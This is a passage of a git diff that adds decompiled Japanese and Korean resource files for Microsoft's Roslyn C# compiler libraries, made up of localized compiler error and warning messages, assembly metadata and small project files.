に適用された CallerMemberNameAttribute は、CallerLineNumberAttribute によってオーバーライドされるため無効となります。 + アセンブリ参照が無効で、解決できません + ++ または -- 演算子のパラメーターの型は、それを含む型でなければなりません + 割り当てられていない可能性のある自動実装プロパティ '{0}' を使用しています。プロパティを自動既定値にするため '{1}' 言語バージョンに更新することを検討してください。 + Null リテラルまたは Null の可能性がある値を Null 非許容型に変換しています。 + RuntimeMetadataVersion の値が見つかりません + 静的でないフィールド、メソッド、またはプロパティ '{0}' で、オブジェクト参照が必要です + ref パラメーター経由で '{0}' パラメーターのメンバーを参照渡しで返すことはできません。return ステートメントでのみ返すことができます + アセンブリに CLSCompliant 属性がないため、型またはメンバーは CLS 準拠として設定できません + AsyncMethodBuilder 属性は、明示的な戻り値の型のない匿名メソッドでは許可されていません。 + メソッド グループを非デリゲート型に変換しています + '{0}': オーバーライドされたメンバー '{1}' に対応するために戻り値の型は '{2}' でなければなりません + using 変数を switch セクションで直接使用することはできません (波かっこの使用をご検討ください)。 + 送信に含めることができる構文ツリーは 1 つのみです。 + デリゲート '{1}' に一致する '{0}' のオーバーロードはありません + 識別子 '{0}' は、このコンテキストの型 '{1}' とパラメーター '{2}' の間であいまいです。 + XML コメントの cref 属性のパラメーターの型が無効です + 名前 '{0}' はタプル要素 '{1}' を識別しません。 + インデクサーを含む型に対して DefaultMember 属性を指定できません + 警告レベルには 0 以上を指定する必要があります + 式のようなインデクサー + ローカル関数 '{0}' は、'static extern' とマークされていないため、本体を宣言しなければなりません。 + パラメーター {0} のラムダでの既定値は '{1:10}' だが、ターゲットデリゲート型では '{2:10}' です。 + '{0}': 動的な型から派生することはできません + 部分メソッド '{0}' には、void 以外の戻り値の型が指定されているため、アクセシビリティ修飾子が必要です。 + 式ツリーのラムダには、左側に null リテラルまたは既定のリテラルのある合体演算子を含めることはできません + '{0}': 非同期 using ステートメントで使用される型は、暗黙的に 'System.IAsyncDisposable' に変換可能であるか、適切な 'DisposeAsync' メソッドを実装する必要があります。 + 構文エラーです。'{0}' が必要です + '{2}'に必要なメンバーがあるため、'{2}' は、ジェネリック型またはメソッド '{0}'のパラメーター '{1}' の 'new()' 制約を満たすことができません。 + switch 式では、名前なしの列挙値を含む入力の種類の一部の値が処理されません (すべてが網羅されているわけではありません)。たとえば、パターン '{0}' がカバーされていません。 + 型 '{0}' の引数は、参照型の NULL 値の許容の違いにより、'{3}' の型 '{1}' のパラメーター '{2}' には使用できません。 + 認識できる属性の場所ではありません + このコンテキストで '{0}' の結果を使用すると、パラメーター '{1}' によって参照される変数が宣言のスコープ外に公開される可能性があります + 要素初期化子を空白にはできません + 'readonly' メンバーから readonly 以外のメンバー '{0}' を呼び出すと、'{1}' の暗黙のコピーが生成されます。 + {0} 句の式の型が正しくありません。'{1}' の呼び出しで型を推論できませんでした。 + 例外フィルター + 少なくとも 1 つの最上位のステートメントを空以外にする必要があります。 + '{0}' の部分メソッド宣言には、型パラメーター '{1}' に対して矛盾する制約が含まれています + \ No newline at end of file diff --git a/decompiled/Libraries/ja.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/ja.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/ja.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/ja.microsoft.codeanalysis.csharp.resources/costura.ja.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/ja.microsoft.codeanalysis.csharp.resources/costura.ja.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/ja.microsoft.codeanalysis.csharp.resources/costura.ja.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/ja.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.ja.resx b/decompiled/Libraries/ja.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.ja.resx new file mode 100644 index 0000000..5c41e2a --- /dev/null +++ b/decompiled/Libraries/ja.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.ja.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089構造体 + 要素が必要です + PE イメージは使用できません。 + 公開キーのトークンのサイズが無効です。 + 追加ファイルは、基になる 'CompilationWithAnalyzers' に属していません。 + 複数のグローバル アナライザー構成ファイルで、セクション '{1}' に同じキー '{0}' が設定されています。設定は解除されました。キーは次のファイルによって設定されました: '{2}' + レガシ ファイル署名の一時パスは使用できません。 + イベント + 型 '{0}' を含むアセンブリが .NET Framework を参照しています。これはサポートされていません。 + アセンブリ参照: '{0}' + 現在のアセンブリに IVT を付与します。{1} + 次のものに IVT を付与します。 + アナライザー '{0}' の 'SupportedDiagnostics' に null 記述子が含まれています。 + パラメーター '{0}' は、このコンパイルまたはいくつかの参照アセンブリのシンボルにする必要があります。 + 一貫性のない言語バージョン + 参照リゾルバーは Null 以外の読み取り可能なストリームを返す必要があります。 + 無効なコンパイル オプション -- 送信は署名できません。 + pathMap のキーが空です。 + アナライザー構成ファイルの重大度が無効です。 + 規則セット ファイルは、異なるアクション '{1}' と '{2}' を持つ '{0}' の規則が重複しています。 + 種類は SyntaxAnnotation のサブクラスでなければなりません。 + 値が大きすぎるため、30 ビットの符号なし整数として表すことができません。 + モジュールにエイリアスを付けることはできません。 + アセンブリのカルチャ名に無効な文字があります + モジュール + メソッド + Windows PDB ライターは、決定論的コンパイルをサポートしていません: '{0}' + アナライザー + パラメーター '{0}' は、'INamedTypeSymbol' または 'IAssemblySymbol' でなければなりません。 + 次の診断を抑制して、このアナライザーを無効にします: {0} + クラス + 警告: 次の例外によりマルチコア JIT を有効にできませんでした: {0}。 + 埋め込みのテキストは、PDB の生成時にのみサポートされます。 + モジュールのコピーは、アセンブリ メタデータの作成には使用できません。 + グローバル アナライザー構成セクション名 '{0}' は、絶対パスではないため無効です。セクションは無視されます。セクションはファイル '{1}' で宣言されました。 + アイコン ストリームの形式が正しくありません。 + アナライザー構成ファイルの '{2}' で、診断 '{0}' に無効な重要度 '{1}' が指定されました。 + アセンブリ名: '{0}' + 公開鍵: + ファイルが見つかりません。 + 属性 {0} に {1} の無効な値が含まれています。 + Win32 リソースは、COFF オブジェクト形式であると見なされますが、セクション サイズが無効です。 + hintName '{0}' の SourceText は、明示的なエンコード セットを含んでいる必要があります。 + 認識されないリソース ファイル形式です。 + パラメーター + プロパティ、インデクサー + 要素 {0} に {1} という属性がありません。 + 削除する MetadataReference '{0}' が見つかりません。 + メタデータ モジュール '{0}' に無効なモジュール名が指定されています: '{1}' + 名前に無効な文字が含まれています。 + 言語名は、このオプションでは指定できません。 + PDB を PE ストリームに埋め込むとき、PDB ストリームを使ってはなりません。 + なし + メタデータのみを生成している場合、PDB ストリームは指定しないでください。 + hintName {0} の位置 {2} に無効な文字 '{1}' が含まれています。 + アナライザー ドライバー エラー + 複数のグローバル アナライザー構成ファイルで同じキーが設定されている。設定が解除された。 + 参照アセンブリを出力しない限り、プライベート メンバーを含める必要があります。 + -1 より小さい '/keepalive' オプションへの引数は無効です。 + 指定した操作の親が null 以外です。 + グローバル アナライザー構成セクション名は、絶対パスではないため無効です。セクションは無視されます。 + 絶対パスが必要です。 + オフセット {0} にある無効なデータ: {1}{2}*{3}{4} + エラーの具体的な原因を特定できません。 + XML ドキュメントへの参照はサポートされません。 + ストリームが長すぎます。 + 戻り値の型は、値型、ポインター、参照渡し、オープン ジェネリック型にはできません + タプルの基になる型は、タプルと互換性がなければなりません。 + 次のコンテキストで例外が発生しました: +{0} + 型 '{0}' がシリアル化バインダーで認識されません。 + 不整合の構文ツリーの機能 + モジュールから相互運用型を埋め込むことはできません。 + SourceText を埋め込むことはできません。構築においてエンコードまたは canBeEmbedded=true を使用してください。 + ストリームに無効なデータが含まれています + 時間 (秒) + モジュールに無効な属性があります。 + 構文ツリーは、基になる 'コンパイル' に属していません。 + 無効なハッシュです。 + '/keepalive' オプションが有効になるのは、'/shared' オプションと一緒に使用する場合のみです。 + セカンダリ アセンブリ出力に対して生成している場合、プライベート メンバーのインクルードは使用しないでください。 + 現在のコンパイルおよび参照されているすべてのアセンブリの 'InternalsVisibleToAttribute' 情報を印刷しています。 + {0}.ResolveStrongNameKeyFile は絶対パスを返す必要があります: '{1}' + 規則セット ファイル '{0}' が見つかりませんでした。 + アセンブリの署名はサポートされません。 + 報告された診断 '{0}' のソースの場所はファイル '{2}' 内の '{1}' ですが、これは指定されたファイルの外です。 + 追跡するノードは、ルートの子孫ではありません。 + 指定した操作ブロックが現在の分析コンテストに属していません。 + 指定した項目は、リストの要素ではありません。 + デリゲート + ストリームを書き込めません。 + 引数 '/shared:' の値を空にすることはできません + '{0}' の逆シリアル化のリーダーが、正しくない数の値を読み取りました。 + アナライザー '{0}' の 'SupportedSuppressions' に null 記述子が含まれています。 + 送信への参照は作成できません。 + {0}.ResolveMetadataFile は絶対パスを返す必要があります: '{1}' + 未解決: + /keepalive' オプションへの引数は 32 ビットの整数ではありません。 + 範囲には、行の先頭が含まれません。 + 位置が指定されていないアセンブリのメタデータ参照を作成できません。 + 無効なカルチャ名: '{0}' + 無効なインストルメンテーションの種類: {0} + タプルには 2 つ以上の要素が必要です。 + 変更は順序付けする必要があり、重複は許可されません。 + Roslyn コンパイル サーバーは、ビルド タスクとは異なるバージョンのプロトコルを報告しています。 + アナライザー実行の合計時間: {0} 秒。 + コンパイル オプションにエラーがあってはなりません。 + 型 '{0}' をシリアル化できません。 + メタデータのみを生成している場合、メタデータ PE ストリームは指定しないでください。 + リソース名が空または無効です + 戻り値の型は、void、参照渡し、オープン ジェネリック型にはできません + Windows PDB ライターは、SourceLink 機能をサポートしていません: '{0}' + 公開キーのトークンが無効です。 + 診断 '{0}: {1}' は、抑制 ID '{2}' と理由 '{3}' で DiagnosticSuppressor によってプログラムで抑制されました + /keepalive' オプションの引数がありません。 + <メモリ内モジュール> + ジェネレーター + 指定した操作のセマンティック モデルが null です。 + Windows PDB ライターのバージョンが、必要なバージョンより古いものです: '{0}' + ノードまたはトークンの順序が正しくありません。 + メタデータを生成している場合、PDB を埋め込むことは許可されていません。 + 動的アセンブリのメタデータ参照を作成できません。 + 抑制された診断 ID '{0}' が、指定された抑制記述子の抑制可能な ID '{1}' と一致しません。 + Win32 リソースは、COFF オブジェクト形式であると見なされますが、1 つ以上のシンボル値が無効です。 + ストリームは、読み取りとシーク操作をサポートする必要があります。 + 列挙型 + 報告された診断 '{0}' のソースの場所がファイル '{1}' にありますが、これは、分析対象のコンパイルの一部ではありません。 + フィールド + 名前は空にできません。 + ジェネレーターの合計実行時間: {0} 秒。 + Win32 リソースは、COFF オブジェクト形式であると見なされますが、セクションの '.rsrc$01' と '.rsrc$02' のいずれかまたは両方がありません + タプル要素名を指定する場合、要素名の数は、タプルの基数と一致する必要があります。 + 対応する yield return ステートメントが削除されているため、エディット コンティニュは中断された反復子を再開できません + 無効なコンテンツ タイプ + {0}.GetMetadata() は {1} のインスタンスを返す必要があります。 + 報告された診断に有効な識別子ではない ID '{0}' があります。 + アセンブリのモジュール参照を作成できません。 + タプル要素の Null 許容の注釈を指定する場合、注釈の数はタプルの基数と一致する必要があります。 + 引数にアナライザーのインスタンスが重複して含まれています。 + 名前は空白文字で開始できません。 + 複数の次元を持つ配列はシリアル化できません。 + デバッグ中にアセンブリ参照のバージョンを変更することはできません: '{0}' のバージョンが '{1}' に変更されました。 + ID '{0}' の報告済みの診断はアナライザーによってサポートされていません。 + このオプションの言語名を指定する必要があります。 + メソッド シンボルが必要です + 出力の種類がサポートされていません。 + 区切り記号が必要です + リスト内のノードが、予期された型ではありません。 + hintName '{0}' の位置 {2} に無効なセグメント '{1}' が含まれています。 + {0} は 'default' もしくは {1} と同じ長さである必要があります。 + 名前を null にすることはできません。 + 変更は SourceText の範囲内でなければなりません + サポートされていないハッシュ アルゴリズムです。 + リソース ストリーム プロバイダーは Null 以外のストリームを返す必要があります。 + WindowsRuntime の ID を再ターゲット可能にすることはできません + 引数には、この CompilationWithAnalyzers インスタンスの 'アナライザー' に属していないアナライザー インスタンスが含まれています。 + 参照アセンブリを生成している場合、ネット モジュールをターゲットにすることはできません。 + 型 '{0}' を逆シリアル化できません。 + ストリームは読み取り可能でなければなりません。 + インターフェイス + Win32 リソースは、COFF オブジェクト形式であると見なされますが、1 つ以上の再配置ヘッダー値が無効です。 + アナライザー '{0}' が型 '{1}' の例外をメッセージ '{2}' 付きでスローしました。 +{3} + <メモリ内アセンブリ> + {0} と {1} は、同じ長さである必要があります。 + 追加されたソース ファイルの hintName '{0}' は、ジェネレーター内で一意である必要があります。 + タプル要素名を空の文字列にすることはできません。 + 送信の出力の種類が無効です。DynamicallyLinkedLibrary が必要です。 + SuppressionDescriptor では、null でも、空の文字列でも、空白のみの文字列でもない ID が必要です。 + ストリームは書き込み可能でなければなりません。 + 無効なアセンブリ名: '{0}' + エイリアスが無効です。 + コンストラクター + アナライザーが見つかりません + アセンブリには、1 つ以上のモジュールが必要です。 + 対応する await 式が削除されているため、エディット コンティニュは中断された非同期メソッドを再開できません + リソース データ プロバイダーは Null 以外のストリームを返す必要があります + ID '{0}' を持つ未報告の診断を抑制することはできません。 + リソース ストリームが {0} バイトで終了しました。{1} バイトが必要です。 + PE イメージには、管理されたメタデータが含まれていません。 + ファイル名が空または無効です + 戻る + アナライザー ドライバーが型 '{0}' の例外をメッセージ '{1}' 付きでスローしました。 +{2} + ファイルのサイズが有効なメタデータ ファイルの最大許容サイズを超えています。 + 範囲に、行の末尾が含まれません。 + 前回の送信にはエラーがあります。 + コンパイルは、自動生成ビルド番号またはリビジョン番号 (あるいはその両方) のみが異なるバージョンの複数のアセンブリを参照しています。 + アナライザー診断のプログラムによる抑制 + アセンブリ ファイルが見つかりません + 公開キーが無効です。 + ストリームを読み取れません。 + 型 '{0}' の参照は、このコンパイルで有効ではありません。 + 要求された行番号 {0} は、行数 {1} より小さくする必要があります。 + DiagnosticDescriptor の ID は、null、空の文字列、または空白のみの文字列でもない必要があります。 + ID '{0}' の報告済みの抑制はサプレッサーによってサポートされていません。 + 指定された操作を制御フロー グラフの一部にすることはできません。 + ジェネレーターごとに登録できるのは 1 つの {0} のみです。 + 種類は、前回の送信のホスト オブジェクトの種類と同じでなければなりません。 + タプル要素の場所を指定する場合、場所の数はタプルの基数と一致する必要があります。 + 現在のアセンブリ: '{0}' + '{0}' は有効な組み込み演算子名ではありませんでした + サポート対象外の組み込み演算子: {0} + 不正な組み込み演算子名 '{0}' + 'end' は 'start' より小さくすることはできません。start='{0}' end='{1}'。 + モジュールへの参照は作成できません。 + アナライザー エラー + 空でない公開キーが必要です + 含まれている規則セット ファイル {0} - {1} の読み込み中にエラーが発生しました + アセンブリ名に無効な文字があります + メモ: 複数のアナライザーが同時に実行される可能性があるので、経過時間はアナライザーの実行時間よりも短くなる場合があります。 + 引数に null 要素は指定できません。 + 引数を空にすることはできません。 + アセンブリ + 型パラメーター + 'start' は負の値であってはなりません + サイズには正の値が必要です。 + pathMap の値は null です。 + \ No newline at end of file diff --git a/decompiled/Libraries/ja.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.ja.resx b/decompiled/Libraries/ja.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.ja.resx new file mode 100644 index 0000000..9608666 --- /dev/null +++ b/decompiled/Libraries/ja.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.ja.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089ターゲット配列の下限にはゼロを指定してください。 + ターゲット配列の型と、コレクション内の項目の型とに互換性がありません。 + コレクションは固定サイズです。 + コレクションが変更されました。列挙操作は実行されない可能性があります。 + 最初の次元で、数字が配列の下限を下回っています。 + ターゲット配列の長さが不足しているため、コレクション内のすべての項目をコピーできません。配列のインデックスと長さをご確認ください。 + 配列にある 2 つの要素を比較できませんでした。 + 同一のキーを含む項目が既に追加されています。キー: {0} + 指定された配列の次元数は同じでなければなりません。 + 配列のオフセットおよび長さが制限を超えているか、カウンターがソース コレクションのインデックスから最後までの要素の数より大きい値です。 + IComparer.Compare() メソッドから矛盾する結果が返されたため、並べ替えできません。値をそれ自体と比較したときに等しい結果にならないか、またはある値を別の値と繰り返し比較したときに異なる結果が生じます。IComparer: '{0}'。 + カウントは正の数で、文字列/配列/コレクション内の場所を参照しなければなりません。 + インデックスが範囲を超えています。負でない値で、コレクションのサイズよりも小さくなければなりません。 + オブジェクトは、比較対象の配列と同じ数の要素を含む配列ではありません。 + 容量が現在のサイズより小さい値です。 + 要求されたアクションに対しては、1 次元配列のみがサポートされます。 + ディクショナリから派生した値コレクションの変化は許可されていません。 + コレクション サイズを超えています。 + インデックスは一覧の範囲内になければなりません。 + 負でない数値が必要です。 + 古い値が見つかりません + 非同時実行コレクションを変更する操作には、排他アクセスが必要です。このコレクションに対して同時更新が実行され、その状態が破壊されました。コレクションの状態は正しくなくなりました。 + 指定されたキー '{0}' がディクショナリにありませんでした。 + ディクショナリから派生したキー コレクションの変化は許可されていません。 + ターゲット配列の長さが足りません。ターゲットのインデックス、長さ、および配列の最小値を確認してください。 + ハッシュテーブルの容量がオーバーフローし、負の値になりました。テーブルの占有率と容量、および現在のサイズを確認してください。 + ソース配列の長さが足りません。ソースのインデックス、長さ、および配列の最小値を確認してください。 + 値 "{0}" は型 "{1}" ではなく、この汎用コレクションでは使用できません。 + 列挙が開始していないか、または既に完了しています。 + \ No newline at end of file diff --git a/decompiled/Libraries/ja.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/ja.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/ja.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/ja.microsoft.codeanalysis.resources/costura.ja.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/ja.microsoft.codeanalysis.resources/costura.ja.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/ja.microsoft.codeanalysis.resources/costura.ja.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/ko.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.ko.resx b/decompiled/Libraries/ko.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.ko.resx new file mode 100644 index 0000000..631d8d5 --- /dev/null +++ b/decompiled/Libraries/ko.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.ko.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089소스 없는 출력의 경우 /out 옵션을 지정해야 합니다. + 상수 0으로 나누었습니다. + 형식 및 별칭의 이름은 'record'로 지정할 수 없습니다. + '{0}'이(가) 유효한 특성 매개 변수 형식이 아니므로 잘못 명명된 특성 인수입니다. + XML 주석에 잘못된 형식의 XML이 있습니다. + new()' 제약 조건은 'unmanaged' 제약 조건과 함께 사용할 수 없습니다. + ReflectionTypeLoadException로 인해 {0} 분석기 어셈블리에서 일부 형식을 건너뜁니다({1}). + 필드가 할당되었지만 사용되지 않았습니다. + 레코드 + 식 트리에는 대입 연산자를 사용할 수 없습니다. + 동적 식을 컴파일하는 데 필요한 하나 이상의 형식을 찾을 수 없습니다. 참조가 있는지 확인하세요. + '{0}'은(는) 사용되지 않습니다. '{1}' + '{0}'에는 생성자, 소멸자, 연산자, 람다 식 또는 명시적 인터페이스 구현이기 때문에 조건 특성이 유효하지 않습니다. + 읽기 전용 형식의 기본 생성자 '{0}' 매개 변수 의 멤버는 쓰기 가능 참조로 반환할 수 없습니다. + 조각 패턴은 목록 패턴 내에서 바로 한 번만 사용할 수 있습니다. + 잘못된 모듈 이름: {0} + 인터페이스가 다른 참조 형식 Null 허용 여부를 사용하는 인터페이스 목록에 이미 나열되어 있습니다. + '{0}': 기본 형식에서 또는 기본 형식으로 사용자 정의 변환이 허용되지 않습니다. + '{0}': 식을 통해 형식을 참조할 수 없습니다. 대신 '{1}'을(를) 시도하세요. + 컴파일러 버전: '{0}'. 언어 버전: {1}. + 반복기 + /win32manifest는 어셈블리에만 적용되므로 모듈의 경우 무시합니다. + '{0}' 코드 페이지가 잘못되었거나 설치되지 않았습니다. + 사용되지 않는 '{0}' 멤버가 사용되는 '{1}' 멤버를 재정의합니다. + 문자열 리터럴에 닫는 큰따옴표가 없습니다. + Throw된 값이 null일 수 있습니다. + 할당되지 않았을 수 있는 자동 구현 속성 '{0}'을(를) 사용하고 있습니다. 속성을 자동으로 기본 설정하려면 언어 버전 '{1}'으로 업데이트하는 것이 좋습니다. + '{0}'은(는) nullable이 될 수 없습니다. + using 선언 + 대상 런타임이 기본 인터페이스 구현을 지원하지 않습니다. + 사용자가 컴파일을 취소했습니다. + 메타데이터 참조는 지원되지 않습니다. + 쿼리 본문은 select 절 또는 group 절로 끝나야 합니다. + 지정한 식은 제공한 패턴과 일치하지 않습니다. + 'init' 접근자는 'readonly'로 표시할 수 없습니다. 대신 '{0}' 읽기 전용으로 표시합니다. + '&' 연산자는 비동기 메서드의 매개 변수 또는 지역 변수에 사용하면 안 됩니다. + switch 문에 '{0}' 레이블 값을 사용하는 경우가 여러 개 포함되어 있습니다. + 식별자가 필요합니다. '{1}'은(는) 키워드입니다. + 잘못된 '{0}' 값입니다('{1}'). + '{0}' 형식 매개 변수가 외부 메서드 '{1}'의 형식 매개 변수와 이름이 같습니다. + 식 트리에는 안전하지 않은 포인터 연산을 사용할 수 없습니다. + 엔터티 참조 내에서 잘못된 문자를 찾았습니다. + 람다 식 트리에는 가변 인수가 있는 메서드를 사용할 수 없습니다. + 명령줄 스위치가 아직 구현되지 않았습니다. + 컴파일러에서 변수를 암시적으로 넓히고 부호 확장한 다음 비트 OR 연산에서 결과 값을 사용했습니다. 예기치 않은 동작이 발생할 수 있습니다. + * 또는 -> 연산자는 포인터에 적용되어야 합니다. + 전처리 기호의 이름이 잘못되었습니다. '{0}'은(는) 유효한 식별자가 아닙니다. + '{0}' 연산자는 '{1}' 및 '{2}' 형식의 피연산자에 적용할 수 없습니다. + 원시 크기 정수 + 형식은 CLS 규격이 아닌 형식의 멤버이므로 CLS 규격으로 표시할 수 없습니다. + CallerMemberNameAttribute는 CallerLineNumberAttribute에 의해 재정의되므로 효과가 없습니다. + {0} '{1}'의 멤버는 읽기 전용 변수이므로 쓰기 가능 참조로 반환할 수 없습니다. + 매개 변수 '{0}'에 적용된 InterpolatedStringHandlerArgumentAttribute 형식이 잘못되어 해석할 수 없습니다. '{1}'의 인스턴스를 수동으로 구성하세요. + 제공된 줄의 길이는 '{0}'자이며 제공된 문자 번호 '{1}'보다 작습니다. + '{0}'은(는) abstract로 표시되어 있으므로 본문을 선언할 수 없습니다. + 일관성 없는 액세스 가능성: '{1}' 이벤트 형식이 '{0}' 이벤트보다 액세스하기 어렵습니다. + '{0}' 멤버는 사용되지 않는 멤버 '{1}'을(를) 재정의합니다. '{0}'에 Obsolete 특성을 추가하세요. + 접근할 수 없는 코드가 있습니다. + 어셈블리에 CLSCompliant 특성이 없으므로 형식 또는 멤버에 CLSCompliant 특성이 필요하지 않습니다. + 이 컨텍스트에서는 기본 생성자 '{0}' 매개 변수를 사용할 수 없습니다. + 소스 형식 '{0}'에 대해 구현된 쿼리 패턴을 찾을 수 없습니다. '{1}'을(를) 찾을 수 없습니다. 범위 변수 '{2}'의 형식을 명시적으로 지정하세요. + '{0}'은(는) 유효한 경고 번호가 아닙니다. + '{3}' 형식은 제네릭 형식 또는 '{0}' 메서드에서 '{2}' 형식 매개 변수로 사용할 수 없습니다. '{3}'에서 '{1}'(으)로의 암시적 참조 변환이 없습니다. + 메서드, 연산자 또는 접근자가 external로 표시되었지만 특성이 없습니다. + 보간된 문자열 처리기 메서드 '{0}'의 형식이 잘못되었습니다. 'void' 또는 'bool'을 반환하지 않습니다. + 무시 패턴은 switch 문의 case 레이블로 사용할 수 없습니다. 무시 패턴에 대해 'case var _:'을 사용하거나 이름이 '_'인 상수에 대해 'case @_:'을 사용하세요. + '{0}' 호출 규칙은 '{1}'과(와) 호환되지 않습니다. + nullable 참조 형식은 개체를 만드는 데 사용할 수 없습니다. + 소멸자 이름은 형식 이름과 일치해야 합니다. + 명령줄 구문 오류: '{0}'은(는) '{1}' 옵션에 유효한 값이 아닙니다. 값은 '{2}' 형식이어야 합니다. + '{0}'은(는) 인스턴스 메서드가 아니므로 수신기는 보간된 문자열 처리기 인수가 될 수 없습니다. + 이 참조는 '{1}'을 '{0}'에 할당하지만 '{1}'은(는) return 문을 통해서만 현재 메서드를 이스케이프할 수 있습니다. + 범위 변수 '{0}'을(를) out 또는 ref 매개 변수로 전달할 수 없습니다. + foreach 루프는 반복 변수를 선언해야 합니다. + null 병합 연산자의 비제한 형식 매개 변수 + DllImport 특성은 'static' 및 'extern'으로 표시된 메서드에만 지정할 수 있습니다. + 부분 메서드(Partial Method) + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + '{0}' 기능은 C# 11.0에서 사용할 수 없습니다. 언어 버전 {1} 이상을 사용하세요. + '{0}' 기능은 C# 10.0에서 사용할 수 없습니다. 언어 버전 {1} 이상을 사용하세요. + '{0}' 필드가 할당되었지만 사용되지 않았습니다. + finally 절의 본문에서는 yield를 사용할 수 없습니다. + <네임스페이스> + await' 연산자는 초기 'from' 절의 첫 번째 Collection 식이나 'join' 절의 Collection 식 내의 쿼리 식에서만 사용할 수 있습니다. + '{0}' 매개 변수에 지정된 기본값은 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + '{0}': 명시적 인터페이스 선언은 클래스, 레코드, 구조체 또는 인터페이스에서만 선언할 수 있습니다. + 전역 extern 별칭을 다시 정의할 수 없습니다. + 인라인 배열 'Slice' 메서드는 요소 액세스 식에 사용되지 않습니다. + CLSCompliant 특성을 매개 변수에 적용하면 의미가 없습니다. 대신 이 특성을 메서드에 사용하세요. + 이 경고는 catch() 블록의 catch (System.Exception e) 블록 뒤에 지정된 예외 형식이 없을 때 발생합니다. 이 경고는 catch() 블록이 예외를 catch하지 않음을 알려줍니다. + +catch (System.Exception e) 블록 뒤의 catch() 블록은 RuntimeCompatibilityAttribute가 AssemblyInfo.cs 파일에 false로 설정되어 있는 경우 CLS가 아닌 예외를 catch할 수 있습니다. [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. 이 특성이 false로 명시적으로 설정되어 있지 않은 경우 모든 throw되는 CLS가 아닌 예외가 예외로 래핑되고 catch (System.Exception e) 블록에서 해당 예외를 catch합니다. + 매개 변수에 적용된 CallerArgumentExpressionAttribute는 자체 참조이기 때문에 효과가 없습니다. + 출력 변수는 참조 로컬로 선언할 수 없습니다. + catch 절에서 await를 사용할 수 없습니다. + 연산자 '{0}'에는 일치하는 확인되지 않은 버전의 연산자도 정의해야 합니다. + 파일 범위 네임스페이스 + 동적 개체를 분해할 수 없습니다. + 식은 참조로 전달되거나 반환될 수 없으므로 이 컨텍스트에서 사용할 수 없습니다. + extern 별칭을 선언하는 